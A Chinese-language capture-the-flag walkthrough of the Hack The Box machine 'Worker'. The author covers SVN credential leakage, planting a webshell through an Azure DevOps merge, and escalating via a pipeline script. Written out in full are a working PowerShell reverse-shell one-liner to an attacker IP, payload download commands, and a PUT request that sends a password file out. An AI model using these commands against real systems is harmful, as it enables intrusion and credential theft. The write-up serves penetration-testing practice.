Worker Writeup

前言

Author: 0x584A

知识:

  • Nmap
  • Svn Cli
  • evil-winrm
  • DevOps Pipelines Powershell

信息收集

cat scans/tcpscripts.nmap                                                                                                                       127 ⨯
# Nmap 7.91 scan initiated Fri Jan  1 05:13:43 2021 as: nmap -Pn -p 80,3690,5985 -sC -sV -oA scans/tcpscripts 10.10.10.203
Nmap scan report for 10.10.10.203
Host is up (0.24s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan  1 05:13:59 2021 -- 1 IP address (1 host up) scanned in 16.16 seconds

从返回的信息中获知,服务器是 Windows OS 部署了 IIS 服务,部署了 SVN,5985端口也是开着的,这是windows的远程管理端口,有个漏洞利用工具是 evil-winrm

我之前也用过: https://www.jgeek.cn/archive/id/37.html

浏览器访问:

尝试检出 SVN 服务,得到一个新的域名和对应代码。

设置好 hosts 文件,访问后在 /#work 路径下获得一列新的域名。

获取 user flag

都看了一遍,均是静态页面没什么收货。检查的代码也均是静态文件,不过有个 moved.txt 文件,里面含有新的提示。大意是通过svn部署的方式已经不用了,改用自动发布了,对应的域名是 devops.worker.htb

尝试访问这个域名,提示需要HTTP基本验证,开始找账号密码。在代码里翻了一遍无果,尝试查看SVN提交记录,进行版本比对。

果然,拿获取到的账号密码成功登陆。

从分支仓库内的 index.html 文件 title 标签确认当前的代码是 spectral.worker.htb 的代码。尝试本地增加一个 webshell 后推送,提示权限不够。

尝试使用页面操作,新建一个分支,并上传 webshell 文件,然后合并到 master 分支里。

注意,在创建分支时一定要选择工作项,否则后面合并分支的步骤不能通过。因为它会在合并前进行几步校验,要有关联的工作项,要审阅着批准,要有内容变更

这里我首先上传的是一个 asp 脚本,合并成功后 azure devops 会自动去发布部署,访问后发现 404 不解析。换了一个 aspx 的脚本就正常了。(https://github.com/ysrc/webshell-sample.git)

利用 powershell 反弹到 NC

https://mrxn.net/reverse_shell.php

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.9',9900);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

查看下当前所属权限

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv> 

需要用户信息才行,开始翻。因为从 webshell 中知道了 Web 服务的绝对路径是 W: 盘下,所以来这找

服务隔段时候会进行重新部署,懒得重复传脚本就先把 webshell 和 PowerShellTcp 先传上去

powershell.exe Invoke-WebRequest -uri http://10.10.14.9/b.txt  -OutFile C:\Windows\Temp\b.txt
powershell.exe Invoke-WebRequest -uri http://10.10.14.9/Invoke-PowerShellTcp.ps1  -OutFile C:\Windows\Temp\Invoke-PowerShellTcp.ps1

在 svnrepos 内找到账号密码文件

将 Windows 中的文件传送的 kali,我用的是 powershell。尝试了 smbserver 脚本报错,不知道为什么,哪位大佬知道吗?

> $body = Get-Content passwd
> Invoke-RestMethod -Uri http://10.10.14.9:1337/passwd -Method PUT -Body $body

将用户名和密码分离出来并去重,使用 nmap 的脚本进行爆破。https://nmap.org/nsedoc/scripts/http-brute.html 这是是我在搜索 ntlm authentication 时找到的,用起来好像还行。

使用 evil-winrm 成功获取一个反弹shell

获取 root flag

接着用 ls -force 翻了半天,啥收获没有。准备传 winPEAS 的时候,想想登录下 azure devops 试试。 发现新的项目 PartsUnlimited

这里我查了好久的资料,翻车了好久,直到我重置了靶机一切才正常…

通过搜索文档和使用 jenkins 的经验,这里应该是需要使用 pipeline 去获取shell,部署脚本中是可以直接编写shell的,比如我在公司项目中写的发布脚本:

找到官方的脚本说明:https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema?view=azure-devops&tabs=schema%2Cparameter-schema

在 Steps 中是允许使用 powershell 的

OK,开始新建管道… 为啥这翻译是叫管道我也挺好奇的。

所以整个工作流程类似是这样子的:

进入 Pipelines 新建管道,选择 Azure Repos Git

选择代码仓库:

配置这里选择初学者管道,也就是一个最基本的 yaml 配置文件

默认的内容:

修改下,type C:\Users\Administrator\Desktop\root.txt 至需要拿到我的 flag 即可。

保存运行后报错,可能是内容不对,我有参考了官方的文档改成下面这个样子。

发现还是不行,会报错,检查脚本内的参数。

怀疑是 pool 的内容错误,将其改为与代理池中的名称一致。

这次成功了,可以在日志中直接看到 root 的 flag。

其他

$ svn help   
usage: svn <subcommand> [options] [args]
Subversion command-line client.
Type 'svn help <subcommand>' for help on a specific subcommand.
Type 'svn --version' to see the program version and RA modules,
     'svn --version --verbose' to see dependency versions as well,
     'svn --version --quiet' to see just the version number.

Most subcommands take file and/or directory arguments, recursing
on the directories.  If no arguments are supplied to such a
command, it recurses on the current directory (inclusive) by default.

Available subcommands:
   add
   auth
   blame (praise, annotate, ann)
   cat
   changelist (cl)
   checkout (co)
   cleanup
   commit (ci)
   copy (cp)
   delete (del, remove, rm)
   diff (di)
   export
   help (?, h)
   import
   info
   list (ls)
   lock
   log
   merge
   mergeinfo
   mkdir
   move (mv, rename, ren)
   patch
   propdel (pdel, pd)
   propedit (pedit, pe)
   propget (pget, pg)
   proplist (plist, pl)
   propset (pset, ps)
   relocate
   resolve
   resolved
   revert
   status (stat, st)
   switch (sw)
   unlock
   update (up)
   upgrade

Subversion 是版本控制工具。
欲取得详细资料,请参阅 http://subversion.apache.org/

$ rlwrap nc.traditional -lvvp 9900

参考

  • https://www.jianshu.com/p/e67e5787c112
  • http://svn.gnu.org.ua/svnbook/svn.tour.history.html
  • https://mrxn.net/reverse_shell.php
  • https://www.freebuf.com/sectool/210479.html
  • https://docs.microsoft.com/en-us/azure/devops/pipelines/yaml-schema?view=azure-devops&tabs=example%2Cparameter-schema#powershell
  • https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/?view=azure-devops&viewFallbackFrom=vsts


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。